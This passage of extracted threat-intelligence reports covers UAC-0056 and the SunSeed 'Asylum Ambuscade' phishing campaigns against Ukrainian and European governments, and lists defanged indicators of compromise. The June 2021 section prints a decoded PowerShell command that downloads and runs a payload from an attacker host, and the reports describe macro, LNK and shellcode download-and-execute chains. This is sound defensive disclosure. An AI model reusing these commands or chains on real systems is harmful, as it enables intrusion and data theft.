+c6c47d3d7e56213f0d0ced379c64e166ed5a86308ea96856163a4e0155b1fc6e
+cb4a93864a19fc14c1e5221912f8e7f409b5b8d835f1b3acc3712b80e4a909f1
+cb6c05b2e9d8e3c384b7eabacde32fc3ac2f9663c63b9908e876712582bf2293
+cce564eb25a80549d746c180832d0b3d45dcd4419d9454470bfd7517868d0e10
+cd93f6df63187e3ac31ea56339f9b859b0f4fbe3e73e1c07192cef4c9a6f8b08
+d4d4aa7d621379645d28f3a16b3ba41b971216869f5448ea5c1fc2e78cfecb26
+d6e2a79bc87d48819fabe332dd3539f572605bb6091d34ae7d25ae0934b606b5
+db8975fd6c04a7d3790eb73ab8e95b6dbf6c9d65ad5c6a6d3c862d0284f87c34
+df3b1ad5445d628c24c1308aa6cb476bd9a06f0095a2b285927964339866b2c3
+dfc24fa837b6cd3210e7ea0802db3dcf7bb1f85bff2c1b4bda4c3c599821bf8c
+e0c46e23bd1b5b96123e0c64914484bbfae7a7ad13cbd45184035d4c0f8a10a2
+e8207e8c31a8613112223d126d4f12e7a5f8caf4acaaf40834302ce49f37cc9c
+e9a858127f5f6e5e0e94ed655a2bf9ed228f87bc99d9b12113e27dcc84be3909
+ebbf30e06de3a25f76cf43c72c521d14a27053e4d9be566b41f50c41bea3a7a9
+ec3c0afccfef11f753a408c859d98bbba4841e87f7f1a48573270c0d82252b03
+ec62c984941954f0eb4f3e8baee455410a9dc0deb222360d376e28981c53b1a0
+ec8868287e3f0f851ff7a2b0e7352055b591a2b2cb1c2a76c53885dee66562dc
+17/30
+f24ee966ef2dd31204b900b5c7eb7e367bc18ff92a13422d800c25dbb1de1e99
+f2bdde99f9f6db249f4f0cb1fb8208198ac5bf55976a94f6a1cebfb0d6c30551
+f4a56c86e2903d509ede20609182fbe001b3a3ca05f8c23c597189935d4f71b8
+f58c41d83c0f1c1e8c1c3bd99ab6deabb14a763b54a3c5f1e821210c0536c3ff
+fa1bc7d6f03a49af50f7153814a078a32f24f353c9cb2b8e3f329888f2b37a6e
+fad2e8293cf38eec695b1b5c012e187999bd94fbcad91d8f110605a9709c31b3
+ff07325f5454c46e883fefc7106829f75c27e3aaf312eb3ab50525faba51c23c
+ffad5217eb782aced4ab2c746b49891b496e1b90331ca24186f8349a5fa71a28
+Related URLs
+1000018[.]xyz/soft-2/280421-z1z.exe
+1000018[.]xyz/soft/220421.exe
+1000020[.]xyz/soft/230421.exe
+1221[.]site/15858415841/0407.exe
+1221[.]site/1806.exe
+15052021[.]space/2405.exe
+150520212[.]space/0404.exe
+185.244.41[.]109:8080/upld/
+1924[.]site/soft/09042021.exe
+194.147.142[.]232:8080/upld/
+194.147.142[.]232:8080/upld/
+2215[.]site/240721-1.msi
+31.42.185[.]63:8080/upld/
+32689657[.]xyz/putty5482.exe
+32689658[.]xyz/putty5410.exe
+45.146.164[.]37:8080/upld/
+45.146.165[.]91:8080/upld/
+68468438438[.]xyz/soft/win230321.exe
+8003659902[.]space/wp-adm/gate.php
+baiden00[.]ru/def.bat
+baiden00[.]ru/win21st.txt
+baiden00[.]ru/wininst.exe
+bit[.]ly/36fee98
+bit[.]ly/3qpy7Co
+cdn.discordapp[.]com/attachments/853604584806285335/854020189522755604/1406.exe
+cdn.discordapp[.]com/attachments/908281957039869965/908282786216017990/AdobeAcrobatUpdate.msi
+cdn.discordapp[.]com/attachments/908281957039869965/908310733488525382/AdobeAcrobatUpdate.exe
+cdn.discordapp[.]com/attachments/908281957039869965/911202801416282172/AdobeAcrobatReaderUpdate.exe
+cdn.discordapp[.]com/attachments/908281957039869965/911383724971683862/21279102.exe
+cdn.discordapp[.]com/attachments/932413459872747544/932976938195238952/loader.exe
+cdn.discordapp[.]com/attachments/932413459872747544/938291977735266344/putty.exe
+eumr[.]site/load4849kd30.exe
+eumr[.]site/load74h74830.exe
+eumr[.]site/up74987340.exe
+main21[.]xyz/adm2021/gate.php
+mohge[.]xyz/install.exe
+name1d[.]site/123/index.exe
+name1d[.]site/def02.bat
+name4050[.]com:8080/upld/9C9C2F98
+orpod[.]ru/def.exe
+orpod[.]ru/putty.exe
+smm2021[.]net/load2022.exe
+smm2021[.]net/upload/antidef.bat
+smm2021[.]net/upload/Nvlaq.jpeg
+smm2021[.]net/wp-adm/gate.php
+18/30
+stun[.]site/42348728347829.exe
+update-0019992[.]ru/testcp1/gate.php
+update0019992[.]ru/exe/update-22.exe
+update0019992[.]ru/gate.php
+update3d[.]xyz/
+webleads[.]pro/public/readerdc_ua_install.exe
+www.baiden00[.]ru/win21st.txt
+www.update0019992[.]ru/exe/update-22.exe
+cdn.discordapp[.]com/attachments/908281957039869965/908310733488525382/AdobeAcrobatUpdate.exe
+cutt[.]ly/1bR6rsQ
+mohge[.]xyz/install.exe
+mohge[.]xyz/install.txt
+stun[.]site/zepok101.exe
+superiortermpapers[.]org/public/WindowsDefender-UA.exe
+Domains
+000000027[.]xyz
+001000100[.]xyz=
+1000018[.]xyz
+1000020[.]xyz
+1020[.]site
+1221[.]site
+15052021[.]space
+150520212[.]space
+1833[.]site
+1924[.]site
+2055[.]site
+2215[.]site
+2330[.]site
+3237[.]site
+32689657[.]xyz
+32689658[.]xyz
+68468438438[.]xyz
+8003659902[.]site
+8003659902[.]space
+9348243249382479234343284324023432748892349702394023[.]xyz
+baiden00[.]ru
+buking[.]site
+coronavirus5g[.]site
+eumr[.]site
+main21[.]xyz
+mohge[.]xyz
+name1d[.]site
+name4050[.]com
+orpod[.]ru
+smm2021[.]net
+stun[.]site
+update-0019992[.]ru
+update0019992[.]ru
+update3d[.]xyz
+www.baiden00[.]ru
+www.lywdm[.]com
+www.update0019992[.]ru
+IPv4 Addresses
+19/30
+185.244.41[.]109
+194.147.142[.]232
+31.42.185[.]63
+45.146.164[.]37
+45.146.165[.]91
+Additional Infrastructure
+1000018[.]xyz
+1000019[.]xyz
+1000020[.]xyz
+1017[.]site
+1120[.]site
+1202[.]site
+1221[.]site
+15052021[.]space
+150520212[.]space
+150520213[.]space
+1681683130[.]website
+16868138130[.]space
+1833[.]site
+1924[.]site
+2055[.]site
+2215[.]site
+2330[.]site
+29572459487545-4543543-543534255-454-35432524-5243523-234543[.]xyz
+32689657[.]xyz
+32689658[.]xyz
+32689659[.]xyz
+33655990[.]cyou
+4895458025-4545445-222435-9635794543-3242314342-234123423728[.]space
+9832473219412342343423243242364-34939246823743287468793247237[.]site
+99996665550[.]fun
+almamaterbook[.]ru
+buking[.]site
+getvps[.]site
+giraffe-tour[.]ru
+gosloto[.]site
+name4050[.]com
+noch[.]website
+otrs[.]website
+polk[.]website
+sinoptik[.]site
+sony-vaio[.]ru
+Appendix A: Prior Attacks Associated With UAC-0056
+Prior attacks associated with UAC-0056 are described below, organized by the time of attack. For an overview of known
+attacks, please see the timeline in the 
+Links to Prior Attacks
+ section above.
+March 2021 Attacks
+According to MalwareBytes research, this threat group carried out an attack campaign in March 2021 on targets in Georgia
+using Bitcoin and COVID themes. The researchers state that these attacks involve spear phishing, but we do not have
+telemetry to confirm the targeted organizations, attack vector or the exact dates in which the attacks took place. The Bitcoin-
+20/30
+themed attacks are very similar to those seen in later April attacks, as the PDF delivery documents had similar content that
+references Electrum bitcoin wallets, as seen in Figure 21.
+Figure 21a. Contents of PDF documents used in Bitcoin-themed attacks in March 2021.
+21/30
+Figure 21b. Contents of PDF documents used in Bitcoin-themed attacks in March 2021.
+The COVID-themed attacks reference a government organization in Georgia, which suggests that the threat group has
+interests in other countries in the region in addition to Ukraine. The attack involved a Zip archive hosted at
+bgicovid19[.]com/assets/img/newCOVID-21.zip and contains the two malicious files and one decoy document, as listed in
+Table 4.
+Filename
+SHA256
+Description
+!!! COVID21.doc
+4fcfe7718ea860ab5c6d19b27811f81683576e7bb60da3db85b4658230414b70
+Delivery document exploits
+CVE-2017-11882 to
+download
+www.baiden00[.]ru/win21st.txt
+Folder.lnk
+5d8c5bb9858fb51271d344eac586cff3f440c074254f165c23dd87b985b2110b
+LNK Shortcut that downloads
+baiden00[.]ru/wininst.exe
+letter from
+the Ministry
+of Labour,
+Health and
+Social
+Affairs of
+Georgia.pdf
+49a758bfe34f1769a27b1a2da9f914bc956f7fdbb9e7a33534ca9e19d5f6168c
+Decoy document
+Table 4. Delivery documents used in March attack.
+The letter from the Ministry of Labour, Health and Social Affairs of Georgia.pdf document is a decoy, as it contains no
+malicious content. The decoy content does show a document from the Ministry of Labour, Health and Social Affairs of
+Georgia, as seen in Figure 22, which suggests that the target may have involved an organization in Georgia.
+22/30
+Figure 22. Decoy document
+s contents in suspected March 2021 attacks.
+April 2021 Attacks
+In April 2021, the threat group carried out an attack that involved a spear phishing email with a PDF document attached,
+which suggested the recipient could become rich by accepting Bitcoins, as seen in Figure 23. As first seen in research by
+Ahnlab, these Bitcoin-themed attacks were specifically targeting Ukrainian government organizations.
+Figure 23. Contents of PDF documents used in Bitcoin-themed attacks.
+The PDF document attached to the delivery email contains text that suggests the individual can access a Bitcoin wallet with
+a large sum of money along with a link to download the wallet, as seen in Figure 24. The link cutt[.]ly/McXG1ft is shortened
+and points to the URL http://1924[.]site/doc/bitcoin.zip to download a Zip archive.
+23/30
+Figure 24. Contents of PDF documents used in Bitcoin-themed attacks.
+The Zip archive contains a LNK shortcut that runs a powershell script to download and execute a payload from
+hxxp://1924[.]site/soft/09042021.exe. The archive also contains a password.txt file that has the following contents, which
+involve an Electrum Bitcoin wallet that links back to the attacks against Ukraine on Feb. 1, 2022:
+Wallet in folder.
+Electrum: https://electrum.org
+Password for walletr is: btc1000000000usd
+According to Fortinet research, in April 2021, this threat group also carried out COVID-themed attacks on Ukrainian
+government organizations. The email seen in Figure 25 includes a fake forwarded message meant to appear as
+correspondence between a government official and the World Health Organization (WHO). The email contains a link to a
+Zip archive hosted on the legitimate who.int domain. However, the link points to a shortened link of
+hxxps://cutt[.]ly/LcHx2Ga instead.
+24/30
+Figure 25. Delivery email in COVID-themed attacks.
+The hxxps://cutt[.]ly/LcHx2Ga URL points to hxxp://2330[.]site/NewCovid-21.zip, which hosted a Zip archive (SHA256:
+677500881c64f4789025f46f3d0e853c00f2f41216eb2f2aaa1a6c59884b04cc) that contained the following files:
+COVID-21.doc (SHA256: 9803e65afa5b8eef0b6f7ced42ebd15f979889b791b8eadfc98e7f102853451a)
+COVID-21.lnk (SHA256: 2b15ade9de6fb993149f27c802bb5bc95ad3fc1ca5f2e86622a044cf3541a70d)
+GEO-CFUND-2009_CCM Agreement_Facesheet - signed.pdf (SHA256:
+bbab12dc486b1c6fcf9e343ec1474d0f8967de988444d7f838f1b4dcab343e8a)
+New Folder.lnk (SHA256: 2b15ade9de6fb993149f27c802bb5bc95ad3fc1ca5f2e86622a044cf3541a70d)
+The LNK shortcuts attempt to run a PowerShell script that will download an executable from the following URL, save it to
+%TEMP%\WindowsUpdate.exe and execute it:
+hxxp://2330[.]site/soft/08042021.exe
+The LNK shortcut downloads the executable from the URL above using the Start-BitsTransfer cmdlet, which is the same
+technique the threat group used to download the payload within the macro in the July 2021 attacks discussed below.
+May 2021 Attacks
+25/30
+In May 2021, we saw the threat group sending targeted emails sent to two Ukrainian government organizations. The two
+emails had subjects of 
+4872823 and 
+487223/2, and both had the same message content that suggested
+the email was from a senior investigator trying to contact the individual, as seen in Figure 26. The use of law enforcement
+related themes across May and June 2021, as well as in February 2022, suggests that the threat group favors this social
+engineering theme in the absence of a trending topic or current event.
+Figure 26. Spear phishing email sent to Ukrainian government organizations in May 2021.
+Both of the delivery emails had the same attachment, specifically 
+4872823-(20).cpl (SHA256:
+f4a56c86e2903d509ede20609182fbe001b3a3ca05f8c23c597189935d4f71b8), which is a Windows Control Panel File that
+acts as an initial downloader to download and execute a payload from:
+32689657[.]xyz/putty5482.exe
+The Control Panel File saves the downloaded executable to %PUBLIC%\puttys.exe and runs it using the WinExec function.
+The resulting executable (SHA256: df3b1ad5445d628c24c1308aa6cb476bd9a06f0095a2b285927964339866b2c3)
+eventually runs the OutSteel document stealer, which will exfiltrate files to the following URL:
+hxxp://194[.]147.142.232/upld/
+June 2021 Attacks
+In June 2021, we observed this threat group targeting another Ukrainian government organization by sending a spear
+phishing email with a subject that translates to 
+Your arrest warrant
+ from Ukrainian. The content of this email, seen in
+Figure 27, includes urgent language suggesting that the recipient must read the attached report or they will be declared
+wanted.
+ This law enforcement theme relates to the Feb. 1, 2022, attacks that used a supposed police report as part of
+social engineering.
+26/30
+Figure 27. Spear phishing email sent to Ukrainian government organization in June 2021.
+The attachment is not a report as the body of the email suggests. Rather, the 
+487223-31.doc (880m5) .js file
+attached is a JavaScript file that is 1,029,786 bytes in size (the actors added a considerable amount of spaces between each
+character of the JavaScript code). If the recipient opens the attachment, the following JavaScript will execute:
+Figure 28. Malicious JavaScript contained in attached file.
+The JavaScript above will run an encoded PowerShell script that decodes to the following:
+invOKe-WeBREqUEST -urI hxxp://150520212[.]space/000.cpl -oUtFILE $ENv:PuBLiC\000.cpl; & $eNV:PUBlIc\000.cpl
+This PowerShell script will download and execute a Control Panel File (CPL) from 150520212[.]space, which it saves to a file
+named 000.cpl (SHA256: b72188ba545ad865eb34954afbbdf2c9e8ebc465a87c5122cebb711f41005939). The 000.cpl is a
+DLL whose functional code exists within the exported function CPlApplet. The functional code uses several consecutive
+jumps in an attempt to make code analysis more difficult. Despite these jumps, the functional code starts with a decryption
+stub, which will XOR each QWORD in the ciphertext using a key that starts as 0x29050D91. However, in each iteration of
+the decryption loop, the key is modified by multiplying it by 0x749507B5 and adding 0x29050D91.
+Once the decryption stub has finished, the code jumps to the decrypted code, which is a shellcode-based downloader that
+carries out the following activity:
+27/30
+1. Loads kernel32 using LoadLibraryW
+2. Gets the address to ExpandEnvironmentStringsW using GetProcAddress
+3. Calls ExpandEnvironmentStringsA to expand the environment string for the path %PUBLIC%\5653YQ5T3.exe
+4. Opens the %PUBLIC%\5653YQ5T3.exe file using CreateFileW
+5. Loads WinHttp using LoadLibraryA
+6. Opens an HTTP session by calling WinHttpOpen
+7. Connects to remote server 150520212[.]space over port 80/TCP by calling WinHttpConnect
+8. Creates an HTTP GET request for /0404.exe using WinHttpOpenRequest
+9. Sends the request via WinHttpSendRequest
+10. Calls WinHttpReceiveResponse, WinHttpQueryDataAvailable and WinHttpReadData to get the HTTP response data
+11. Writes the response data to %PUBLIC%\5653YQ5T3.exe by calling WriteFile
+12. Closes handle to %PUBLIC%\5653YQ5T3.exe by calling CloseHandle
+13. Runs %PUBLIC%\5653YQ5T3.exe by calling ShellExecuteW
+14. Finishes by calling ExitProcess
+The file hosted at 150520212[.]space/0404.exe (SHA256:
+cb4a93864a19fc14c1e5221912f8e7f409b5b8d835f1b3acc3712b80e4a909f1) is an OutSteel sample that gathers and
+exfiltrates files to http://45[.]146.164.37/upld/.
+July 2021 Targeting
+On July 22, 2021, we observed a spear phishing attempt in which the threat group targeted a Western government entity in
+Ukraine. The actors sent the email to an address publicly displayed on the embassy
+s website with the subject RE: CV. The
+email had a Word document attached to it with a filename structured as <first name>_<last name>_CV.doc, of which the
+name was a well-known journalist in Ukraine. Figure 29 shows the contents of the attached document as it would display in
+a native Ukrainian installation of Windows.
+28/30
+Figure 29. Contents of delivery document used in July 2021 attacks on an embassy in Kyiv.
+The content of the document is meant to resemble a resume of the journalist. However, the garbled text suggests an
+encoding issue that the Ukrainian version of Windows could not display. The image is a stock photo available at several
+websites [1][2][3], which does not appear to be a picture of the actual journalist. The garbled text is likely intentional as an
+attempt to trick the user into clicking the 
+Enable Editing
+ button, which would ultimately run the macro embedded in the
+document. The macro that will run if the user clicks the 
+Enable Editing
+ button, seen in Figure 30, creates a batch script
+called meancell.bat that executes a PowerShell command that will use the Start-BitsTransfer cmdlet to download a payload
+from hxxp://1833[.]site/kpd1974.exe. It then saves it to and executes everylisten.exe. Figure 30 shows the contents of the
+macro found in this delivery document.
+Figure 30. Contents of macro in delivery document.
+The kpd1974.exe file (SHA256: b8ce958f56087c6cd55fa2131a1cd3256063e7c73adf36af313054b0f17b7b43) downloaded
+and executed by the macro ultimately runs a variant of the OutSteel document harvesting tool that exfiltrates files to
+hxxp://45.146.165[.]91:8080/upld/. We found two additional delivery documents that shared a similar macro and hosted
+29/30
+the payload on the 1833[.]site, as seen in Table 5. One of the filenames of these two related documents suggest that the
+threat group continued to use the fake resume theme.
+First Seen
+Filename
+Download URL
+7/23/2021
+ (22-7-2021).doc
+hxxp://1833[.]site/gp00973.exe
+7/23/2021
+CV_RUSLANA.doc
+hxxp://1833[.]site/rsm1975.exe
+Table 5. Related delivery documents used in July attack.
+Get updates from Palo Alto Networks!
+Sign up to receive the latest news, cyber threat intelligence and research from us
+By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.
+30/30
+Asylum Ambuscade: State Actor Uses Compromised
+Private Ukrainian Military Emails to Target European
+Governments and Refugee Movement
+proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-militaryemails
+March 1, 2022
+Blog
+Threat Insight
+Asylum Ambuscade: State Actor Uses Compromised Private Ukrainian Military Emails to
+Target European Governments and Refugee Movement
+March 01, 2022 Michael Raggi, Zydeca Cass and the Proofpoint Threat Research Team
+Key Takeaways
+Proofpoint has identified a likely nation-state sponsored phishing campaign using a
+possibly compromised Ukrainian armed service member
+s email account to target
+European government personnel involved in managing the logistics of refugees fleeing
+Ukraine.
+The email included a malicious macro attachment which attempted to download a Luabased malware dubbed SunSeed.
+The infection chain used in this campaign bears significant similarities to a historic
+campaign Proofpoint observed in July 2021, making it likely the same threat actor is
+behind both clusters of activity.
+Proofpoint is releasing this report in an effort to balance accuracy with responsibility to
+disclose actionable intelligence during a time of high-tempo conflict.
+Overview
+Ambuscade: To attack suddenly and without warning from a concealed place
+Proofpoint researchers have identified a phishing campaign originating from an email
+address (ukr[.]net) that appears to belong to a compromised Ukranian armed service
+member. This discovery comes on the heels of alerts by the Ukrainian Computer Emergency
+Response Team (CERT-UA) and the State Service of Special Communications and
+Information Protection of Ukraine about widespread phishing campaigns targeting private
+email accounts of Ukrainian armed service members by 
+UNC1151
+, which Proofpoint tracks
+as part of TA445. The email observed by Proofpoint may represent the next stage of these
+attacks. The email included a malicious macro attachment which utilized social engineering
+themes pertaining to the Emergency Meeting of the NATO Security Council held on February
+23, 2022. The email also contained a malicious attachment which attempted to download
+1/18
+malicious Lua malware named SunSeed and targeted European government personnel
+tasked with managing transportation and population movement in Europe. While Proofpoint
+has not definitively attributed this campaign to the threat actor TA445, researchers
+acknowledge that the timeline, use of compromised sender addresses aligning with
+Ukrainian government reports, and the victimology of the campaign align with published
+TA445 tactics to include the targeting and collection around refugee movement in Europe.
+Proofpoint assesses that, in light of the ongoing Russia-Ukraine war, actions by proxy actors
+like TA445 will continue to target European governments to gather intelligence around the
+movement of refugees from Ukraine and on issues of importance to the Russian government.
+TA445, which appears to operate out of Belarus, specifically has a history of engaging in a
+significant volume of disinformation operations intended to manipulate European sentiment
+around the movement of refugees within NATO countries. These controlled narratives may
+intend to marshal anti-refugee sentiment within European countries and exacerbate tensions
+between NATO members, decreasing Western support for the Ukrainian entities involved in
+armed conflict. This approach is a known factor within the hybrid warfare model employed
+by the Russian military and by extension that of Belarus.
+Delivery
+On February 24, 2022, Proofpoint detected an email originating from a ukr[.]net email
+address which was sent to a European government entity. The email utilized the subject "IN
+ACCORDANCE WITH THE DECISION OF THE EMERGENCY MEETING OF THE
+SECURITY COUNCIL OF UKRAINE DATED 24.02.2022" and included a macro enabled
+XLS file titled 
+list of persons.xlsx,
+ which was later determined to deliver SunSeed malware.
+The social engineering lure utilized in this phishing campaign were very timely, following a
+NATO Security Council meeting on February 23, 2022 and a news story about a Russian
+government 
+kill list
+ targeting Ukrainians that began circulating in Western media outlets
+on February 21, 2022. The format of the subject included the date 
+24.02.2022
+ at the end of
+subject line and was superficially similar to emails reported by the State Service of Special
+Communications and Information Protection of Ukraine (SSSCIP) on February 25, 2022.
+This alert indicated that mass phishing campaigns were targeting 
+Citizens
+ e-mail addresses
+in Ukraine. The timing of the Proofpoint observed campaign is notable as it occurred within
+close proximity to the campaigns reported by Ukrainian state agencies.
+2/18
+Figure 1. SSSCIP Ukraine reported email including date format 24.02.2022.
+3/18
+Figure 2. CERT-UA reports of UNC1151 targeting private accounts of Ukrainian military
+personnel.
+Open-source research on the sender email address identified the account on a Ukrainian
+public procurement document for a Stihl lawn mower in 2016. The email account was listed
+as the contact address on the purchase, while the customer was listed as 
+2622
+ or military unit A2622. This title, as well as the address listed, appear to refer to a
+military barracks that houses a military unit in 
+ or the Chernihiv
+region of Ukraine. While Proofpoint has not definitively determined that this detected
+campaign is aligned with the phishing campaigns reported by the Ukrainian government or
+that this activity can be attributed to TA445, researchers assess that this may represent a
+continuation of the campaigns that utilize compromised Ukrainian personal accounts of
+armed service members to target the governments of NATO members in Europe.
+4/18
+Figure 3. Ukrainian military procurement documents including possible compromised
+sender email as contact.
+Macro Enabled Attachments
+The malicious XLS attachment observed in the email was laden with a simple but distinct
+macro. When enabled, it executes a VB macro named 
+Module1
+ which creates a Windows
+Installer (msiexec.exe) object invoking Windows Installer to call out to an actor-controlled
+staging IP and download a malicious MSI package. It also sets a Microsoft
+document UILevel equal to 
+ which specifies a user interface level of 
+completely silent
+installation.
+ This hides all macro actions and network connections from the user. The actor
+accesses the delivery IP via the Microsoft Installer InstallProduct method which is intended
+5/18
+to obtain an MSI install file from a URL, save it to a cached location, and finally begin
+installation of the MSI package. Since the actor is utilizing an MSI package as an installer for
+a Lua-based malware, this method is well suited to be deployed via a malicious macro-laden
+document delivered via phishing.
+Figure 4. Observed malicious macro within list of persons.xlsx.
+SunSeed Lua Malware Installation
+Analysis of the actor-controlled delivery infrastructure identified an MSI package which
+installed a series of Lua-based dependencies, executed a malicious Lua script that Proofpoint
+has dubbed SunSeed, and established persistence via an LNK file installed for autorun at
+Windows Startup. This file, named qwerty_setup.msi, was previously identified publicly by
+6/18
+security researcher Colin Hardy in response to Proofpoint
+s initial content regarding this
+threat. The package installs 12 legitimate Lua dependencies, a Windows Lua interpreter, a
+malicious Lua script (SunSeed), and a Windows shortcut LNK file for persistence. Notably,
+the legitimate Windows Lua interpreter sppsvc.exe has been modified so it does not print any
+output to the Windows Console. This is likely an effort to conceal the malware installation
+from the infected user. All files, except for the LNK file, are installed to the folder
+C:\ProgramData\.security-soft\. The LNK persistence script, which executes the SunSeed
+command 
+print.lua
+ via the Window Lua interpreter, is saved to the directory
+C:\ProgramData\.security-soft\sppsvc.exe to be executed at startup. This executes the
+malicious SunSeed Lua script 
+print.lua
+ that attempts to retrieve additional malicious Lua
+code from the actor command and control (C2) server.
+Legitimate Files and Lua Dependencies:
+luacom.dll (LuaCom Library)
+ltn12.lua (LuaSocket: LTN12 module)
+mime.lua (MIME support for the Lua language)
+http.lua (HTTP library for Lua)
+url.lua (luasocket)
+tp.lua (luasocket)
+socket.lua (luasocket)
+tp.lua
+core.dll
+mime.dll
+lua51.dll
+sppsvc.exe (Lua Windows Standalone Interpreter 
+ modified to suppress console
+output)
+<6 characters>.rbs (Windows Installer Rollback Script)
+Persistence File:
+Software Protection Service.lnk
+Installation Directory:
+~\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Software
+Protection Service.lnk
+Malicious SunSeed Lua Script:
+print.lua|
+7bf33b494c70bd0a0a865b5fbcee0c58fa9274b8741b03695b45998bcd459328
+7/18
+Figure 5. Asylum Ambuscade - Campaign Snapshot.
+Proofpoint researchers observed several distinct and unusual aspects about the MSI package
+upon closer inspection. The actor utilized the Japanese Shift-JIS code base, resulting in a
+Japanese language installation message upon launching the MSI package. This may be a
+rudimentary false flag intended to conceal the spoken language of the threat actor.
+Additionally, examination of the cryptography calls made by the package during installation
+indicates that the MSI file appears to have been created using a dated version of WiX Toolset
+version 3.11.0.1528. This is an open-source software that allows users to 
+build MSIs without
+requiring additional software on a build server
+ from the command line. This version was last
+updated in 2017 with a more recent update being pushed in 2019 and an entirely new version
+of the toolset made available in May 2021.
+8/18
+Figure 6. Japanese code base MSI package installation display.
+Figure 7. MSI package cryptography call indicating Windows Installer XML version.
+SunSeed Malware Capabilities: A Lua Downloader
+Based on decoding of the SunSeed print.lua malicious second stage payload script, it appears
+to be a simple downloader which obtains the C Drive partition serial number from the host,
+appends to a URL request via a Lua socket, consistently pings the C2 server for additional
+9/18
+Lua code, and executes the code upon receiving it within a response. At the time of analysis,
+Proofpoint did not receive additional Lua code from the C2 server. However, researchers
+believe that this is likely intended to deliver subsequent stage payloads to the infected host.
+Further attempts to decode the SunSeed Lua host included several notable strings that may
+suggest a possible response from the actor-controlled server. These strings do not appear to
+be part of the initial SunSeed script
+s functionality in the absence of a C2 server response.
+Observed string values include, but are not limited to:
+serial
+string
+luacom
+CreateObject
+Scripting.FileSystemObject
+Drives
+SerialNumber
+socket.http
+request
+http://84.32.188[.]96/
+ socket
+sleep
+Command and Control
+The SunSeed malware when executed issues GET requests over HTTP via port 80 using a Lua
+Socket. The requests are issued to the C2 server every three seconds anticipating a response.
+The malware specifies the user agent as 
+LuaSocket 2.0.2
+ and appends the infected target
+C Drive partition serial number to the URI request. This is a unique decimal digit value
+assigned to a drive upon creation of the file system. It may be an attempt by actors to track
+infected victims on the backend per their unique serial number. Additionally, this may allow
+operators to be selective about which infections are issued a next stage payload response.
+Based on the observed strings in the Lua script, researchers speculate that the server
+response may include further malicious commands, or a Lua based installer code which is
+executed as a response to the SunSeed payload, depending on the received serial
+identification number.
+Figure 8. SunSeed Lua malware C2 communication.
+Victimology and Targeting
+10/18
+With the finite data set available to Proofpoint surrounding this campaign, limited
+conclusions can be drawn regarding targeting. The Proofpoint-observed email messages were
+limited to European governmental entities. The targeted individuals possessed a range of
+expertise and professional responsibilities. However, there was a clear preference for
+targeting individuals with responsibilities related to transportation, financial and budget
+allocation, administration, and population movement within Europe. This campaign may
+represent an attempt to gain intelligence regarding the logistics surrounding the movement
+of funds, supplies, and people within NATO member countries.
+Attribution Remains Unclear
+Several temporal and anecdotal indicators exist which suggest that this activity aligns with
+reported campaigns by the threat actor TA445/UNC1151/Ghostwriter. However, Proofpoint
+has not yet observed concrete technical overlaps which would allow us to definitively
+attribute this campaign to this actor. In addition to the notable overlaps with Ukrainian
+government reported campaigns referenced previously, the victimology of this campaign with
+prominent NATO governments being targeted and a possible focus on the movements of
+refugees in NATO countries recalls historic motivations of TA445
+s information operations
+circa 2021. Specifically, the anti-migratory narratives disseminated by the group also referred
+to as Ghostwriter during the 2021 migratory crisis in which Belarus intentionally funneled
+refugees to the Polish border belies a possible connection between this 2022 campaign and
+TA445
+s historic mandate. Mainly both campaigns may indicate the weaponization of
+migrants and refugees of war through a hybrid information warfare and targeted cyberattack model. Researchers at Mandiant addressed these tactics by UNC1151
+s information
+operation team referred to as Ghostwriter (collectively TA445) in a recent presentation (12:17
+time stamp), disclosing the existence of the group and attributing the activity to Belarus.
+Proofpoint also notes that, in addition to the Asylum Ambuscade operation, in recent days
+researchers have detected TA445 credential harvesting activity that aligns with Mandiant
+description of this threat group to include the use of GoPhish to deliver malicious email
+content. This activity appears distinct from the Asylum Ambuscade campaign. Proofpoint is
+currently tracking the actor responsible for Asylum Ambuscade as distinct from TA445 until
+a technical relationship can be further established.
+Tactic
+Asylum Ambuscade Campaign
+TA445
+Document Attachment Phishing
+Focus on Refugee Issues and NATO
+11/18
+Use of Macro Enabled Documents
+Use of GoPhish
+Use of MSI Packages
+Use of Lua Based Malware
+Use of Compromised Sender
+Infrastructure
+Figure 9. Comparison of Asylum Ambuscade campaign and TA445 TTPs.
+While Proofpoint has not definitively determined attribution at this time, researchers assess
+with moderate confidence that this campaign and a historic campaign from July 2021 were
+conducted by the same threat actor. The July 2021 campaign utilized a highly similar macroladen XLS attachment to deliver MSI packages that install a Lua malware script. Similarly,
+the campaign utilized a very recent government report as the basis of the social engineering
+content and titled the malicious attachment 
+list of participants of the briefing.xls.
+addition to the file name being quite similar to the Asylum Ambuscade campaign, the Lua
+script created a nearly identical URI beacon to the SunSeed sample, which was composed of
+the infected victim
+s C Drive partition serial number. Analysis of the cryptography calls in
+both samples revealed that the same version of WiX 3.11.0.1528 had been utilized to create
+the MSI packages. Finally, the macros in this historic campaign utilized the identical
+technique as the Asylum Ambuscade campaign, using Windows Installer to retrieve an MSI
+package from an actor-controlled IP resource and suppressing indications of installation
+from the user. The July 2021 campaign targeted senior cyber security practitioners and
+decisionmakers at private US-based companies, including those in the defense sector.
+12/18
+Figure 10. Historic malicious macro seen in July 2021.
+Conclusion: Balancing Accurate Reporting in a Timely Fashion
+This activity, independent of attribution conclusions, represents an effort to target NATO
+entities with compromised Ukrainian military accounts during an active period of armed
+conflict between Russia, its proxies, and Ukraine. In publishing this report, Proofpoint seeks
+to balance the accuracy of responsible reporting with the quickest possible disclosure of
+actionable intelligence. The onset of hybrid conflict, including within the cyber domain, has
+accelerated the pace of operations and reduced the amount of time that defenders have to
+answer deeper questions around attribution and historical correlation to known nation-state
+operators. However, these are issues that Proofpoint will continue to research while
+13/18
+protecting customers globally. Proofpoint invites additional details and input around any
+observed activity that aligns with these reports. While the utilized techniques in this
+campaign are not groundbreaking individually, if deployed collectively, and during a high
+tempo conflict, they possess the capability to be quite effective. As the conflict continues,
+researchers assess similar attacks against governmental entities in NATO countries are likely.
+Additionally, the possibility of exploiting intelligence around refugee movements in Europe
+for disinformation purposes is a proven part of Russian and Belarussian-state techniques.
+Being aware of this threat and disclosing it publicly are paramount for cultivating awareness
+among targeted entities.
+Indicators of Compromise (IOCs)
+Type of
+<redacted>@ukr[.]net
+Sender
+Email
+IN ACCORDANCE WITH THE DECISION OF THE EMERGENCY MEETING
+OF THE SECURITY COUNCIL OF UKRAINE DATED 24.02.2022
+Email
